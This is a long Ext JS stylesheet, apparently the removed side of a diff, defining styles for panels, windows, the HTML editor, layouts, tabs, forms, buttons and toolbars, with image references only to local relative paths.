blockquote, -.x-panel-reset .x-panel-body ul, -.x-panel-reset .x-panel-body fieldset, -.x-panel-reset .x-panel-body form, -.x-panel-reset .x-panel-body ol, -.x-panel-reset .x-panel-body dl, -.x-panel-reset .x-panel-body dir, -.x-panel-reset .x-panel-body menu { margin: 1.12em 0 } -.x-panel-reset .x-panel-body h5 { font-size: .83em; margin: 1.5em 0 } -.x-panel-reset .x-panel-body h6 { font-size: .75em; margin: 1.67em 0 } -.x-panel-reset .x-panel-body h1, -.x-panel-reset .x-panel-body h2, -.x-panel-reset .x-panel-body h3, -.x-panel-reset .x-panel-body h4, -.x-panel-reset .x-panel-body h5, -.x-panel-reset .x-panel-body h6, -.x-panel-reset .x-panel-body b, -.x-panel-reset .x-panel-body strong { font-weight: bolder } -.x-panel-reset .x-panel-body blockquote { margin-left: 40px; margin-right: 40px } -.x-panel-reset .x-panel-body i, -.x-panel-reset .x-panel-body cite, -.x-panel-reset .x-panel-body em, -.x-panel-reset .x-panel-body var, -.x-panel-reset .x-panel-body address { font-style: italic } -.x-panel-reset .x-panel-body pre, -.x-panel-reset .x-panel-body tt, -.x-panel-reset .x-panel-body code, -.x-panel-reset .x-panel-body kbd, -.x-panel-reset .x-panel-body samp { font-family: monospace } -.x-panel-reset .x-panel-body pre { white-space: pre } -.x-panel-reset .x-panel-body button, -.x-panel-reset .x-panel-body textarea, -.x-panel-reset .x-panel-body input, -.x-panel-reset .x-panel-body select { display: inline-block } -.x-panel-reset .x-panel-body big { font-size: 1.17em } -.x-panel-reset .x-panel-body small, -.x-panel-reset .x-panel-body sub, -.x-panel-reset .x-panel-body sup { font-size: .83em } -.x-panel-reset .x-panel-body sub { vertical-align: sub } -.x-panel-reset .x-panel-body sup { vertical-align: super } -.x-panel-reset .x-panel-body table { border-spacing: 2px; } -.x-panel-reset .x-panel-body thead, -.x-panel-reset .x-panel-body tbody, -.x-panel-reset .x-panel-body tfoot { vertical-align: middle } -.x-panel-reset .x-panel-body td, -.x-panel-reset .x-panel-body th { vertical-align: inherit } -.x-panel-reset .x-panel-body s, -.x-panel-reset .x-panel-body strike, -.x-panel-reset .x-panel-body del { text-decoration: line-through } -.x-panel-reset .x-panel-body hr { border: 1px inset } -.x-panel-reset .x-panel-body ol, -.x-panel-reset .x-panel-body ul, -.x-panel-reset .x-panel-body dir, -.x-panel-reset .x-panel-body menu, -.x-panel-reset .x-panel-body dd { margin-left: 40px } -.x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body menu, .x-panel-reset .x-panel-body dir { list-style-type: disc;} -.x-panel-reset .x-panel-body ol { list-style-type: decimal } -.x-panel-reset .x-panel-body ol ul, -.x-panel-reset .x-panel-body ul ol, -.x-panel-reset .x-panel-body ul ul, -.x-panel-reset .x-panel-body ol ol { margin-top: 0; margin-bottom: 0 } -.x-panel-reset .x-panel-body u, -.x-panel-reset .x-panel-body ins { text-decoration: underline } -.x-panel-reset .x-panel-body br:before { content: "\A" } -.x-panel-reset .x-panel-body :before, .x-panel-reset .x-panel-body :after { white-space: pre-line } -.x-panel-reset .x-panel-body center { text-align: center } -.x-panel-reset .x-panel-body :link, .x-panel-reset .x-panel-body :visited { text-decoration: underline } -.x-panel-reset .x-panel-body :focus { outline: invert dotted thin } - -/* Begin bidirectionality settings (do not change) */ -.x-panel-reset .x-panel-body BDO[DIR="ltr"] { direction: ltr; unicode-bidi: bidi-override } -.x-panel-reset .x-panel-body BDO[DIR="rtl"] { direction: rtl; unicode-bidi: bidi-override } -.x-window { - zoom:1; -} - -.x-window .x-window-handle { - opacity:0; - -moz-opacity:0; - filter:alpha(opacity=0); -} - -.x-window-proxy { - border:1px solid; - z-index:12000; - overflow:hidden; - position:absolute; - left:0;top:0; - display:none; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); -} - -.x-window-header { - overflow:hidden; - zoom:1; -} - -.x-window-bwrap { - z-index:1; - position:relative; - zoom:1; - left:0;top:0; -} - -.x-window-tl .x-window-header { - padding:5px 0 4px 0; -} - -.x-window-header-text { - cursor:pointer; -} - -.x-window-tc { - background: transparent repeat-x 0 0; - overflow:hidden; - zoom:1; -} - -.x-window-tl { - background: transparent no-repeat 0 0; - padding-left:6px; - zoom:1; - z-index:1; - position:relative; -} - -.x-window-tr { - background: transparent no-repeat right 0; - padding-right:6px; -} - -.x-window-bc { - background: transparent repeat-x 0 bottom; - zoom:1; -} - -.x-window-bc .x-window-footer { - padding-bottom:6px; - zoom:1; - font-size:0; - line-height:0; -} - -.x-window-bl { - background: transparent no-repeat 0 bottom; - padding-left:6px; - zoom:1; -} - -.x-window-br { - background: transparent no-repeat right bottom; - padding-right:6px; - zoom:1; -} - -.x-window-mc { - border:1px solid; - padding:0; - margin:0; -} - -.x-window-ml { - background: transparent repeat-y 0 0; - padding-left:6px; - zoom:1; -} - -.x-window-mr { - background: transparent repeat-y right 0; - padding-right:6px; - zoom:1; -} - -.x-window-body { - overflow:hidden; -} - -.x-window-bwrap { - overflow:hidden; -} - -.x-window-maximized .x-window-bl, .x-window-maximized .x-window-br, - .x-window-maximized .x-window-ml, .x-window-maximized .x-window-mr, - .x-window-maximized .x-window-tl, .x-window-maximized .x-window-tr { - padding:0; -} - -.x-window-maximized .x-window-footer { - padding-bottom:0; -} - -.x-window-maximized .x-window-tc { - padding-left:3px; - padding-right:3px; -} - -.x-window-maximized .x-window-mc { - border-left:0 none; - border-right:0 none; -} - -.x-window-tbar .x-toolbar, .x-window-bbar .x-toolbar { - border-left:0 none; - border-right: 0 none; -} - -.x-window-bbar .x-toolbar { - border-top:1px solid; - border-bottom:0 none; -} - -.x-window-draggable, .x-window-draggable .x-window-header-text { - cursor:move; -} - -.x-window-maximized .x-window-draggable, .x-window-maximized .x-window-draggable .x-window-header-text { - cursor:default; -} - -.x-window-body { - background-color:transparent; -} - -.x-panel-ghost .x-window-tl { - border-bottom:1px solid; -} - -.x-panel-collapsed .x-window-tl { - border-bottom:1px solid; -} - -.x-window-maximized-ct { - overflow:hidden; -} - -.x-window-maximized .x-window-handle { - display:none; -} - -.x-window-sizing-ghost ul { - border:0 none !important; -} - -.x-dlg-focus{ - -moz-outline:0 none; - outline:0 none; - width:0; - height:0; - overflow:hidden; - position:absolute; - top:0; - left:0; -} - -.ext-webkit .x-dlg-focus{ - width: 1px; - height: 1px; -} - -.x-dlg-mask{ - z-index:10000; - display:none; - position:absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity:.50; - filter: alpha(opacity=50); -} - -body.ext-ie6.x-body-masked select { - visibility:hidden; -} - -body.ext-ie6.x-body-masked .x-window select { - visibility:visible; -} - -.x-window-plain .x-window-mc { - border: 1px solid; -} - -.x-window-plain .x-window-body { - border: 1px solid; - background:transparent !important; -}.x-html-editor-wrap { - border:1px solid; -} - -.x-html-editor-tb .x-btn-text { - background:transparent no-repeat; -} - -.x-html-editor-tb .x-edit-bold, .x-menu-item img.x-edit-bold { - background-position:0 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-italic, .x-menu-item img.x-edit-italic { - background-position:-16px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-underline, .x-menu-item img.x-edit-underline { - background-position:-32px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-forecolor, .x-menu-item img.x-edit-forecolor { - background-position:-160px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-backcolor, .x-menu-item img.x-edit-backcolor { - background-position:-176px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-justifyleft, .x-menu-item img.x-edit-justifyleft { - background-position:-112px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-justifycenter, .x-menu-item img.x-edit-justifycenter { - background-position:-128px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-justifyright, .x-menu-item img.x-edit-justifyright { - background-position:-144px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-insertorderedlist, .x-menu-item img.x-edit-insertorderedlist { - background-position:-80px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-insertunorderedlist, .x-menu-item img.x-edit-insertunorderedlist { - background-position:-96px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-increasefontsize, .x-menu-item img.x-edit-increasefontsize { - background-position:-48px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-decreasefontsize, .x-menu-item img.x-edit-decreasefontsize { - background-position:-64px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-sourceedit, .x-menu-item img.x-edit-sourceedit { - background-position:-192px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tb .x-edit-createlink, .x-menu-item img.x-edit-createlink { - background-position:-208px 0; - background-image:url(../images/default/editor/tb-sprite.gif); -} - -.x-html-editor-tip .x-tip-bd .x-tip-bd-inner { - padding:5px; - padding-bottom:1px; -} - -.x-html-editor-tb .x-toolbar { - position:static !important; -}.x-panel-noborder .x-panel-body-noborder { - border-width:0; -} - -.x-panel-noborder .x-panel-header-noborder { - border-width:0 0 1px; - border-style:solid; -} - -.x-panel-noborder .x-panel-tbar-noborder .x-toolbar { - border-width:0 0 1px; - border-style:solid; -} - -.x-panel-noborder .x-panel-bbar-noborder .x-toolbar { - border-width:1px 0 0 0; - border-style:solid; -} - -.x-window-noborder .x-window-mc { - border-width:0; -} - -.x-window-plain .x-window-body-noborder { - border-width:0; -} - -.x-tab-panel-noborder .x-tab-panel-body-noborder { - border-width:0; -} - -.x-tab-panel-noborder .x-tab-panel-header-noborder { - border-width: 0 0 1px 0; -} - -.x-tab-panel-noborder .x-tab-panel-footer-noborder { - border-width: 1px 0 0 0; -} - -.x-tab-panel-bbar-noborder .x-toolbar { - border-width: 1px 0 0 0; - border-style:solid; -} - -.x-tab-panel-tbar-noborder .x-toolbar { - border-width:0 0 1px; - border-style:solid; -}.x-border-layout-ct { - position: relative; -} - -.x-border-panel { - position:absolute; - left:0; - top:0; -} - -.x-tool-collapse-south { - background-position:0 -195px; -} - -.x-tool-collapse-south-over { - background-position:-15px -195px; -} - -.x-tool-collapse-north { - background-position:0 -210px; -} - -.x-tool-collapse-north-over { - background-position:-15px -210px; -} - -.x-tool-collapse-west { - background-position:0 -180px; -} - -.x-tool-collapse-west-over { - background-position:-15px -180px; -} - -.x-tool-collapse-east { - background-position:0 -165px; -} - -.x-tool-collapse-east-over { - background-position:-15px -165px; -} - -.x-tool-expand-south { - background-position:0 -210px; -} - -.x-tool-expand-south-over { - background-position:-15px -210px; -} - -.x-tool-expand-north { - background-position:0 -195px; -} -.x-tool-expand-north-over { - background-position:-15px -195px; -} - -.x-tool-expand-west { - background-position:0 -165px; -} - -.x-tool-expand-west-over { - background-position:-15px -165px; -} - -.x-tool-expand-east { - background-position:0 -180px; -} - -.x-tool-expand-east-over { - background-position:-15px -180px; -} - -.x-tool-expand-north, .x-tool-expand-south { - float:right; - margin:3px; -} - -.x-tool-expand-east, .x-tool-expand-west { - float:none; - margin:3px 2px; -} - -.x-accordion-hd .x-tool-toggle { - background-position:0 -255px; -} - -.x-accordion-hd .x-tool-toggle-over { - background-position:-15px -255px; -} - -.x-panel-collapsed .x-accordion-hd .x-tool-toggle { - background-position:0 -240px; -} - -.x-panel-collapsed .x-accordion-hd .x-tool-toggle-over { - background-position:-15px -240px; -} - -.x-accordion-hd { - padding-top:4px; - padding-bottom:3px; - border-top:0 none; - background: transparent repeat-x 0 -9px; -} - -.x-layout-collapsed{ - position:absolute; - left:-10000px; - top:-10000px; - visibility:hidden; - width:20px; - height:20px; - overflow:hidden; - border:1px solid; - z-index:20; -} - -.ext-border-box .x-layout-collapsed{ - width:22px; - height:22px; -} - -.x-layout-collapsed-over{ - cursor:pointer; -} - -.x-layout-collapsed-west .x-layout-collapsed-tools, .x-layout-collapsed-east .x-layout-collapsed-tools{ - position:absolute; - top:0; - left:0; - width:20px; - height:20px; -} - - -.x-layout-split{ - position:absolute; - height:5px; - width:5px; - line-height:1px; - font-size:1px; - z-index:3; - background-color:transparent; -} - -/* IE6 strict won't drag w/out a color */ -.ext-strict .ext-ie6 .x-layout-split{ - background-color: #fff !important; - filter: alpha(opacity=1); -} - -.x-layout-split-h{ - background-image:url(../images/default/s.gif); - background-position: left; -} - -.x-layout-split-v{ - background-image:url(../images/default/s.gif); - background-position: top; -} - -.x-column-layout-ct { - overflow:hidden; - zoom:1; -} - -.x-column { - float:left; - padding:0; - margin:0; - overflow:hidden; - zoom:1; -} - -.x-column-inner { - overflow:hidden; - zoom:1; -} - -/* mini mode */ -.x-layout-mini { - position:absolute; - top:0; - left:0; - display:block; - width:5px; - height:35px; - cursor:pointer; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); -} - -.x-layout-mini-over, .x-layout-collapsed-over .x-layout-mini{ - opacity:1; - -moz-opacity:1; - filter:none; -} - -.x-layout-split-west .x-layout-mini { - top:48%; -} - -.x-layout-split-east .x-layout-mini { - top:48%; -} - -.x-layout-split-north .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-split-south .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-cmini-west .x-layout-mini { - top:48%; -} - -.x-layout-cmini-east .x-layout-mini { - top:48%; -} - -.x-layout-cmini-north .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-cmini-south .x-layout-mini { - left:48%; - height:5px; - width:35px; -} - -.x-layout-cmini-west, .x-layout-cmini-east { - border:0 none; - width:5px !important; - padding:0; - background-color:transparent; -} - -.x-layout-cmini-north, .x-layout-cmini-south { - border:0 none; - height:5px !important; - padding:0; - background-color:transparent; -} - -.x-viewport, .x-viewport body { - margin: 0; - padding: 0; - border: 0 none; - overflow: hidden; - height: 100%; -} - -.x-abs-layout-item { - position:absolute; - left:0; - top:0; -} - -.ext-ie input.x-abs-layout-item, .ext-ie textarea.x-abs-layout-item { - margin:0; -} - -.x-box-layout-ct { - overflow:hidden; - zoom:1; -} - -.x-box-inner { - overflow:hidden; - zoom:1; - position:relative; - left:0; - top:0; -} - -.x-box-item { - position:absolute; - left:0; - top:0; -}.x-progress-wrap { - border:1px solid; - overflow:hidden; -} - -.x-progress-inner { - height:18px; - background:repeat-x; - position:relative; -} - -.x-progress-bar { - height:18px; - float:left; - width:0; - background: repeat-x left center; - border-top:1px solid; - border-bottom:1px solid; - border-right:1px solid; -} - -.x-progress-text { - padding:1px 5px; - overflow:hidden; - position:absolute; - left:0; - text-align:center; -} - -.x-progress-text-back { - line-height:16px; -} - -.ext-ie .x-progress-text-back { - line-height:15px; -} - -.ext-strict .ext-ie7 .x-progress-text-back{ - width: 100%; -} -.x-list-header{ - background: repeat-x 0 bottom; - cursor:default; - zoom:1; - height:22px; -} - -.x-list-header-inner div { - display:block; - float:left; - overflow:hidden; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - white-space: nowrap; -} - -.x-list-header-inner div em { - display:block; - border-left:1px solid; - padding:4px 4px; - overflow:hidden; - -moz-user-select: none; - -khtml-user-select: none; - line-height:14px; -} - -.x-list-body { - overflow:auto; - overflow-x:hidden; - overflow-y:auto; - zoom:1; - float: left; - width: 100%; -} - -.x-list-body dl { - zoom:1; -} - -.x-list-body dt { - display:block; - float:left; - overflow:hidden; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - white-space: nowrap; - cursor:pointer; - zoom:1; -} - -.x-list-body dt em { - display:block; - padding:3px 4px; - overflow:hidden; - -moz-user-select: none; - -khtml-user-select: none; -} - -.x-list-resizer { - border-left:1px solid; - border-right:1px solid; - position:absolute; - left:0; - top:0; -} - -.x-list-header-inner em.sort-asc { - background: transparent no-repeat center 0; - border-style:solid; - border-width: 0 1px 1px; - padding-bottom:3px; -} - -.x-list-header-inner em.sort-desc { - background: transparent no-repeat center -23px; - border-style:solid; - border-width: 0 1px 1px; - padding-bottom:3px; -} - -/* Shared styles */ -.x-slider { - zoom:1; -} - -.x-slider-inner { - position:relative; - left:0; - top:0; - overflow:visible; - zoom:1; -} - -.x-slider-focus { - position:absolute; - left:0; - top:0; - width:1px; - height:1px; - line-height:1px; - font-size:1px; - -moz-outline:0 none; - outline:0 none; - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; - display:block; - overflow:hidden; -} - -/* Horizontal styles */ -.x-slider-horz { - padding-left:7px; - background:transparent no-repeat 0 -22px; -} - -.x-slider-horz .x-slider-end { - padding-right:7px; - zoom:1; - background:transparent no-repeat right -44px; -} - -.x-slider-horz .x-slider-inner { - background:transparent repeat-x 0 0; - height:22px; -} - -.x-slider-horz .x-slider-thumb { - width:14px; - height:15px; - position:absolute; - left:0; - top:3px; - background:transparent no-repeat 0 0; -} - -.x-slider-horz .x-slider-thumb-over { - background-position: -14px -15px; -} - -.x-slider-horz .x-slider-thumb-drag { - background-position: -28px -30px; -} - -/* Vertical styles */ -.x-slider-vert { - padding-top:7px; - background:transparent no-repeat -44px 0; - width:22px; -} - -.x-slider-vert .x-slider-end { - padding-bottom:7px; - zoom:1; - background:transparent no-repeat -22px bottom; -} - -.x-slider-vert .x-slider-inner { - background:transparent repeat-y 0 0; -} - -.x-slider-vert .x-slider-thumb { - width:15px; - height:14px; - position:absolute; - left:3px; - bottom:0; - background:transparent no-repeat 0 0; -} - -.x-slider-vert .x-slider-thumb-over { - background-position: -15px -14px; -} - -.x-slider-vert .x-slider-thumb-drag { - background-position: -30px -28px; -}.x-window-dlg .x-window-body { - border:0 none !important; - padding:5px 10px; - overflow:hidden !important; -} - -.x-window-dlg .x-window-mc { - border:0 none !important; -} - -.x-window-dlg .ext-mb-input { - margin-top:4px; - width:95%; -} - -.x-window-dlg .ext-mb-textarea { - margin-top:4px; -} - -.x-window-dlg .x-progress-wrap { - margin-top:4px; -} - -.ext-ie .x-window-dlg .x-progress-wrap { - margin-top:6px; -} - -.x-window-dlg .x-msg-box-wait { - background:transparent no-repeat left; - display:block; - width:300px; - padding-left:18px; - line-height:18px; -} - -.x-window-dlg .ext-mb-icon { - float:left; - width:47px; - height:32px; -} - -.x-window-dlg .x-dlg-icon .ext-mb-content{ - zoom: 1; - margin-left: 47px; -} - -.x-window-dlg .ext-mb-info, .x-window-dlg .ext-mb-warning, .x-window-dlg .ext-mb-question, .x-window-dlg .ext-mb-error { - background:transparent no-repeat top left; -} - -.ext-gecko2 .ext-mb-fix-cursor { - overflow:auto; -}.ext-el-mask { - background-color: #ccc; -} - -.ext-el-mask-msg { - border-color:#6593cf; - background-color:#c3daf9; - background-image:url(../images/default/box/tb-blue.gif); -} -.ext-el-mask-msg div { - background-color: #eee; - border-color:#a3bad9; - color:#222; - font:normal 11px tahoma, arial, helvetica, sans-serif; -} - -.x-mask-loading div { - background-color:#fbfbfb; - background-image:url(../images/default/grid/loading.gif); -} - -.x-item-disabled { - color: gray; -} - -.x-item-disabled * { - color: gray !important; -} - -.x-splitbar-proxy { - background-color: #aaa; -} - -.x-color-palette a { - border-color:#fff; -} - -.x-color-palette a:hover, .x-color-palette a.x-color-palette-sel { - border-color:#8bb8f3; - background-color: #deecfd; -} - -/* -.x-color-palette em:hover, .x-color-palette span:hover{ - background-color: #deecfd; -} -*/ - -.x-color-palette em { - border-color:#aca899; -} - -.x-ie-shadow { - background-color:#777; -} - -.x-shadow .xsmc { - background-image: url(../images/default/shadow-c.png); -} - -.x-shadow .xsml, .x-shadow .xsmr { - background-image: url(../images/default/shadow-lr.png); -} - -.x-shadow .xstl, .x-shadow .xstc, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbc, .x-shadow .xsbr{ - background-image: url(../images/default/shadow.png); -} - -.loading-indicator { - font-size: 11px; - background-image: url(../images/default/grid/loading.gif); -} - -.x-spotlight { - background-color: #ccc; -} -.x-tab-panel-header, .x-tab-panel-footer { - background-color: #deecfd; - border-color:#8db2e3; - overflow:hidden; - zoom:1; -} - -.x-tab-panel-header, .x-tab-panel-footer { - border-color:#8db2e3; -} - -ul.x-tab-strip-top{ - background-color:#cedff5; - background-image: url(../images/default/tabs/tab-strip-bg.gif); - border-bottom-color:#8db2e3; -} - -ul.x-tab-strip-bottom{ - background-color:#cedff5; - background-image: url(../images/default/tabs/tab-strip-btm-bg.gif); - border-top-color:#8db2e3; -} - -.x-tab-panel-header-plain .x-tab-strip-spacer, -.x-tab-panel-footer-plain .x-tab-strip-spacer { - border-color:#8db2e3; - background-color: #deecfd; -} - -.x-tab-strip span.x-tab-strip-text { - font:normal 11px tahoma,arial,helvetica; - color:#416aa3; -} - -.x-tab-strip-over span.x-tab-strip-text { - color:#15428b; -} - -.x-tab-strip-active span.x-tab-strip-text { - color:#15428b; - font-weight:bold; -} - -.x-tab-strip-disabled .x-tabs-text { - color:#aaaaaa; -} - -.x-tab-strip-top .x-tab-right, .x-tab-strip-top .x-tab-left, .x-tab-strip-top .x-tab-strip-inner{ - background-image: url(../images/default/tabs/tabs-sprite.gif); -} - -.x-tab-strip-bottom .x-tab-right { - background-image: url(../images/default/tabs/tab-btm-inactive-right-bg.gif); -} - -.x-tab-strip-bottom .x-tab-left { - background-image: url(../images/default/tabs/tab-btm-inactive-left-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-over .x-tab-right { - background-image: url(../images/default/tabs/tab-btm-over-right-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-over .x-tab-left { - background-image: url(../images/default/tabs/tab-btm-over-left-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-right { - background-image: url(../images/default/tabs/tab-btm-right-bg.gif); -} - -.x-tab-strip-bottom .x-tab-strip-active .x-tab-left { - background-image: url(../images/default/tabs/tab-btm-left-bg.gif); -} - -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { - background-image:url(../images/default/tabs/tab-close.gif); -} - -.x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{ - background-image:url(../images/default/tabs/tab-close.gif); -} - -.x-tab-panel-body { - border-color:#8db2e3; - background-color:#fff; -} - -.x-tab-panel-body-top { - border-top: 0 none; -} - -.x-tab-panel-body-bottom { - border-bottom: 0 none; -} - -.x-tab-scroller-left { - background-image:url(../images/default/tabs/scroll-left.gif); - border-bottom-color:#8db2e3; -} - -.x-tab-scroller-left-over { - background-position: 0 0; -} - -.x-tab-scroller-left-disabled { - background-position: -18px 0; - opacity:.5; - -moz-opacity:.5; - filter:alpha(opacity=50); - cursor:default; -} - -.x-tab-scroller-right { - background-image:url(../images/default/tabs/scroll-right.gif); - border-bottom-color:#8db2e3; -} - -.x-tab-panel-bbar .x-toolbar, .x-tab-panel-tbar .x-toolbar { - border-color:#99bbe8; -}.x-form-field { - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-form-text, textarea.x-form-field { - background-color:#fff; - background-image:url(../images/default/form/text-bg.gif); - border-color:#b5b8c8; -} - -.x-form-select-one { - background-color:#fff; - border-color:#b5b8c8; -} - -.x-form-check-group-label { - border-bottom: 1px solid #99bbe8; - color: #15428b; -} - -.x-editor .x-form-check-wrap { - background-color:#fff; -} - -.x-form-field-wrap .x-form-trigger { - background-image:url(../images/default/form/trigger.gif); - border-bottom-color:#b5b8c8; -} - -.x-form-field-wrap .x-form-date-trigger { - background-image: url(../images/default/form/date-trigger.gif); -} - -.x-form-field-wrap .x-form-clear-trigger { - background-image: url(../images/default/form/clear-trigger.gif); -} - -.x-form-field-wrap .x-form-search-trigger { - background-image: url(../images/default/form/search-trigger.gif); -} - -.x-trigger-wrap-focus .x-form-trigger { - border-bottom-color:#7eadd9; -} - -.x-item-disabled .x-form-trigger-over { - border-bottom-color:#b5b8c8; -} - -.x-item-disabled .x-form-trigger-click { - border-bottom-color:#b5b8c8; -} - -.x-form-focus, textarea.x-form-focus { - border-color:#7eadd9; -} - -.x-form-invalid, textarea.x-form-invalid { - background-color:#fff; - background-image:url(../images/default/grid/invalid_line.gif); - border-color:#c30; -} - -.x-form-invalid.x-form-composite { - border: none; - background-image: none; -} - -.x-form-invalid.x-form-composite .x-form-invalid { - background-color:#fff; - background-image:url(../images/default/grid/invalid_line.gif); - border-color:#c30; -} - -.x-form-inner-invalid, textarea.x-form-inner-invalid { - background-color:#fff; - background-image:url(../images/default/grid/invalid_line.gif); -} - -.x-form-grow-sizer { - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-form-item { - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-form-invalid-msg { - color:#c0272b; - font:normal 11px tahoma, arial, helvetica, sans-serif; - background-image:url(../images/default/shared/warning.gif); -} - -.x-form-empty-field { - color:gray; -} - -.x-small-editor .x-form-field { - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.ext-webkit .x-small-editor .x-form-field { - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-form-invalid-icon { - background-image:url(../images/default/form/exclamation.gif); -} - -.x-fieldset { - border-color:#b5b8c8; -} - -.x-fieldset legend { - font:bold 11px tahoma, arial, helvetica, sans-serif; - color:#15428b; -} -.x-btn{ - font:normal 11px tahoma, verdana, helvetica; -} - -.x-btn button{ - font:normal 11px arial,tahoma,verdana,helvetica; - color:#333; -} - -.x-btn em { - font-style:normal; - font-weight:normal; -} - -.x-btn-tl, .x-btn-tr, .x-btn-tc, .x-btn-ml, .x-btn-mr, .x-btn-mc, .x-btn-bl, .x-btn-br, .x-btn-bc{ - background-image:url(../images/default/button/btn.gif); -} - -.x-btn-click .x-btn-text, .x-btn-menu-active .x-btn-text, .x-btn-pressed .x-btn-text{ - color:#000; -} - -.x-btn-disabled *{ - color:gray !important; -} - -.x-btn-mc em.x-btn-arrow { - background-image:url(../images/default/button/arrow.gif); -} - -.x-btn-mc em.x-btn-split { - background-image:url(../images/default/button/s-arrow.gif); -} - -.x-btn-over .x-btn-mc em.x-btn-split, .x-btn-click .x-btn-mc em.x-btn-split, .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-btn-pressed .x-btn-mc em.x-btn-split { - background-image:url(../images/default/button/s-arrow-o.gif); -} - -.x-btn-mc em.x-btn-arrow-bottom { - background-image:url(../images/default/button/s-arrow-b-noline.gif); -} - -.x-btn-mc em.x-btn-split-bottom { - background-image:url(../images/default/button/s-arrow-b.gif); -} - -.x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-btn-click .x-btn-mc em.x-btn-split-bottom, .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-btn-pressed .x-btn-mc em.x-btn-split-bottom { - background-image:url(../images/default/button/s-arrow-bo.gif); -} - -.x-btn-group-header { - color: #3e6aaa; -} - -.x-btn-group-tc { - background-image: url(../images/default/button/group-tb.gif); -} - -.x-btn-group-tl { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-tr { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-bc { - background-image: url(../images/default/button/group-tb.gif); -} - -.x-btn-group-bl { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-br { - background-image: url(../images/default/button/group-cs.gif); -} - -.x-btn-group-ml { - background-image: url(../images/default/button/group-lr.gif); -} -.x-btn-group-mr { - background-image: url(../images/default/button/group-lr.gif); -} - -.x-btn-group-notitle .x-btn-group-tc { - background-image: url(../images/default/button/group-tb.gif); -}.x-toolbar{ - border-color:#a9bfd3; - background-color:#d0def0; - background-image:url(../images/default/toolbar/bg.gif); -} - -.x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{ - font:normal 11px arial,tahoma, helvetica, sans-serif; -} - -.x-toolbar .x-item-disabled { - color:gray; -} - -.x-toolbar .x-item-disabled * { - color:gray; -} - -.x-toolbar .x-btn-mc em.x-btn-split { - background-image:url(../images/default/button/s-arrow-noline.gif); -} - -.x-toolbar .x-btn-over .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split, -.x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split -{ - background-image:url(../images/default/button/s-arrow-o.gif); -} - -.x-toolbar .x-btn-mc em.x-btn-split-bottom { - background-image:url(../images/default/button/s-arrow-b-noline.gif); -} - -.x-toolbar .x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split-bottom, -.x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split-bottom -{ - background-image:url(../images/default/button/s-arrow-bo.gif); -} - -.x-toolbar .xtb-sep { - background-image: url(../images/default/grid/grid-blue-split.gif); -} - -.x-tbar-page-first{ - background-image: url(../images/default/grid/page-first.gif) !important; -} - -.x-tbar-loading{ - background-image: url(../images/default/grid/refresh.gif) !important; -} - -.x-tbar-page-last{ - background-image: url(../images/default/grid/page-last.gif) !important; -} - -.x-tbar-page-next{ - background-image: url(../images/default/grid/page-next.gif) !important; -} - -.x-tbar-page-prev{ - background-image: url(../images/default/grid/page-prev.gif) !important; -} - -.x-item-disabled .x-tbar-loading{ - background-image: url(../images/default/grid/refresh-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-first{ - background-image: url(../images/default/grid/page-first-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-last{ - background-image: url(../images/default/grid/page-last-disabled.gif) !important; -} - -.x-item-disabled .x-tbar-page-next{ - background-image: url(../images/default/grid/page-next-disabled.gif) !important; 